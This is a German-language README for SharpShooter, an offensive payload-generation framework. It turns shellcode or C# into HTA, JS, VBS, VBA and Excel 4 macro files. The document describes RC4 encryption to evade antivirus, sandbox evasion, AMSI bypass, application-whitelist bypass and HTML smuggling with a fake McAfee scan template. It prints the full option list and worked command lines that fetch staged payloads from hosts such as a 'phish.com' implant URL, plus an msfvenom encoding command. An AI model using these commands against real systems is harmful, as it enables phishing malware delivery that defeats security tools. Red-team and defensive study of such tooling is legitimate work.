
Framework zur Erstellung von Payloads
/ // / ____ __________ / // / ____ ____ / / _____
__ / __ / __ `/ / __ \ / __ / __ / __ / __/ _ / /
__/ / / / / // / / / // // / / / / // / // / // / /
/// //_,// / ./// //_/_/_/___//
/_/
SharpShooter ist ein Framework zur Generierung von Payloads für den Abruf und die Ausführung beliebigen CSharp-Quellcodes. SharpShooter kann Payloads in verschiedenen Formaten erstellen, darunter HTA, JS, VBS und WSF. Es nutzt James Forshaws DotNetToJavaScript-Werkzeug, um Methoden aus dem serialisierten DotNet-Objekt von SharpShooter aufzurufen. Payloads können über Web- oder DNS-Zustellung oder beides abgerufen werden; SharpShooter ist kompatibel mit dem MDSec ActiveBreach PowerDNS-Projekt. Alternativ können auch stageless Payloads mit eingebetteter Shellcode-Ausführung für dieselben Scripting-Formate erzeugt werden.
SharpShooter-Payloads werden mit einem zufälligen Schlüssel RC4-verschlüsselt, um eine gewisse Anti-Viren-Umgehung zu bieten. Das Projekt enthält die Möglichkeit, Sandbox-Erkennung und Umgebungsschlüsselung zu integrieren, um die Erkennung zu erschweren.
SharpShooter enthält eine vordefinierte CSharp-Vorlage zur Ausführung von Shellcode mit gestaffelten und nicht gestaffelten Payloads, aber jeder CSharp-Code kann mithilfe des CSharp-CodeDom-Anbieters über Reflektion kompiliert und im Arbeitsspeicher ausgeführt werden.
Schließlich bietet SharpShooter die Möglichkeit, den Payload mithilfe der Demiguise HTML-Smuggling-Technik in eine HTML-Datei einzubetten.
SharpShooter zielt auf die .NET-Framework-Versionen v2, v3 und v4 ab, die auf den meisten Windows-Endbenutzer-Workstations zu finden sind.
Version 1.0 von SharpShooter führte mehrere neue Konzepte ein, darunter COM-Staging, die Ausführung von Squiblydoo und Squiblytwo sowie XSL-Ausführung. Zur Umsetzung dieser neuen Funktionalität wurden mehrere neue Flags hinzugefügt: --com, --awl und --awlurl.
Version 2.0 von SharpShooter fügte das AMSI-Bypass-Modul sowie die Unterstützung zur Generierung von VBA- und Excel-4-Makro-fähigen Dokumenten hinzu.
Weitere Informationen finden Sie im MDSec-Blogbeitrag.
SharpShooter ist hochgradig konfigurierbar und unterstützt eine Reihe verschiedener Payload-Typen, Sandbox-Umgehungen, Zustellungsmethoden und Ausgabeformate.
Wenn SharpShooter mit dem Argument --help ausgeführt wird, wird die folgende Ausgabe erzeugt:
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
[--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
[--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
[--rawscfile <path>] [--shellcode] [--scfile <path>]
[--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
[--web <web>] [--dns <dns>] [--output <output>]
[--smuggle] [--template <tpl>]
optional arguments:
-h, --help show this help message and exit
--stageless Create a stageless payload
--dotnetver <ver> Target .NET Version: 2 or 4
--com <com> COM Staging Technique: outlook, shellbrowserwin, wmi, wscript, xslremote
--awl <awl> Application Whitelist Bypass Technique: wmic, regsvr32
--awlurl <awlurl> URL to retrieve XSL/SCT payload
--payload <format> Payload type: hta, js, jse, vba, vbe, vbs, wsf
--sandbox <types> Anti-sandbox techniques:
[1] Key to Domain (e.g. 1=CONTOSO)
[2] Ensure Domain Joined
[3] Check for Sandbox Artifacts
[4] Check for Bad MACs
[5] Check for Debugging
--amsi <amsi> Use amsi bypass technique: amsienable
--delivery <type> Delivery method: web, dns, both
--rawscfile <path> Path to raw shellcode file for stageless payloads
--shellcode Use built in shellcode execution
--scfile <path> Path to shellcode file as CSharp byte array
--refs <refs> References required to compile custom CSharp,
e.g. mscorlib.dll,System.Windows.Forms.dll
--namespace <ns> Namespace for custom CSharp,
e.g. Foo.bar
--entrypoint <ep> Method to execute,
e.g. Main
--web <web> URI for web delivery
--dns <dns> Domain for DNS delivery
--output <output> Name of output file (e.g. maldoc)
--smuggle Smuggle file inside HTML
--template <tpl> Name of template file (e.g. mcafee)
Beispiele für einige Anwendungsfälle sind unten aufgeführt:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
Erstellen eines stageless JavaScript-Payloads, das auf Version 4 des .NET-Frameworks abzielt. Dieses Beispiel erstellt einen Payload namens foo.js im Ausgabeverzeichnis. Der Shellcode wird aus der Datei ./raw.txt gelesen. Der Payload versucht, eine gewisse Sandbox-Umgehung zu erzwingen, indem die Ausführung an die CONTOSO-Domäne gebunden und nach bekannten Sandbox/VM-Artefakten gesucht wird.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
Erstellen eines stageless HTA-Payloads, das auf Version 2/3 des .NET-Frameworks abzielt. Dieses Beispiel erstellt einen Payload namens foo.hta im Ausgabeverzeichnis. Der Shellcode wird aus der Datei ./raw.txt gelesen. Der Payload versucht, eine Sandbox-Umgehung zu erzwingen, indem nach bekannten virtuellen MAC-Adressen gesucht wird. Es wird auch ein HTML-Schmuggel-Payload namens foo.html im Ausgabeverzeichnis erstellt. Dieser Payload verwendet die Beispiel-McAfee-Virenscanvorlage.
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
Dieses Beispiel erstellt einen gestaffelten VBS-Payload, der sowohl Web- als auch DNS-Zustellung durchführt. Der Payload versucht, eine GZip-komprimierte CSharp-Datei abzurufen, die den als CSharp-Byte-Array in der Datei csharpsc.txt bereitgestellten Shellcode ausführt. Die verwendete CSharp-Datei ist die integrierte SharpShooter-Shellcode-Ausführungsvorlage. Der Payload wird im Ausgabeverzeichnis mit dem Namen foo.payload erstellt und sollte auf http://www.foo.bar/shellcode.payload gehostet werden. Dieselbe Datei sollte auch auf der Domäne bar.foo über PowerDNS gehostet werden, um sie auszuliefern. Die VBS-Datei versucht, die Ausführung an die CONTOSO-Domäne zu binden, und wird mit der HTML-Schmuggeltechnik unter Verwendung der McAfee-Virenprüfvorlage in eine HTML-Datei eingebettet. Der resultierende Payload wird im Ausgabeverzeichnis unter dem Namen foo.html gespeichert.
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
Dieses Beispiel zeigt, wie ein gestaffelter JS-Payload erstellt wird, der eine Web-Zustellung durchführt und einen Payload von http://www.phish.com/implant.payload abruft. Der generierte Payload versucht, eine Sandbox-Umgehung durchzuführen, und versucht, den abgerufenen Payload zu kompilieren, der die DLL-Referenzen mscorlib.dll und System.Windows.Forms.dll erfordert. Die Methode Main im Namespace MDSec.SharpShooter wird bei erfolgreicher Kompilierung ausgeführt.
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
Dieses Beispiel erstellt einen geschmuggelten VBS-COM-Stager, der die Outlook.CreateObject()-COM-Methode als Grundlage verwendet, um wmic.exe auszuführen und ein gehostetes Stylesheet auszuführen. Der Parameter --awl wird standardmäßig nicht verwendet, da wmic verwendet wird.
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Dieses Beispiel erstellt eine geschmuggelte HTA-Datei, die das XMLDOM-COM-Interface verwendet, um ein gehostetes Stylesheet abzurufen und auszuführen.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
Dieses Beispiel erstellt eine VBA-Makrodatei, die das XMLDOM-COM-Interface verwendet, um ein gehostetes Stylesheet abzurufen und auszuführen.
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
Dieses Beispiel erstellt eine Excel 4.0 SLK-Datei, die den bereitgestellten Shellcode ausführt und in HTML einbettet. Der Shellcode darf keine Nullbytes enthalten, Hinweis:
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
Autor: Dominic Chell, MDSec ActiveBreach @domchell und @mdseclabs
Danksagungen: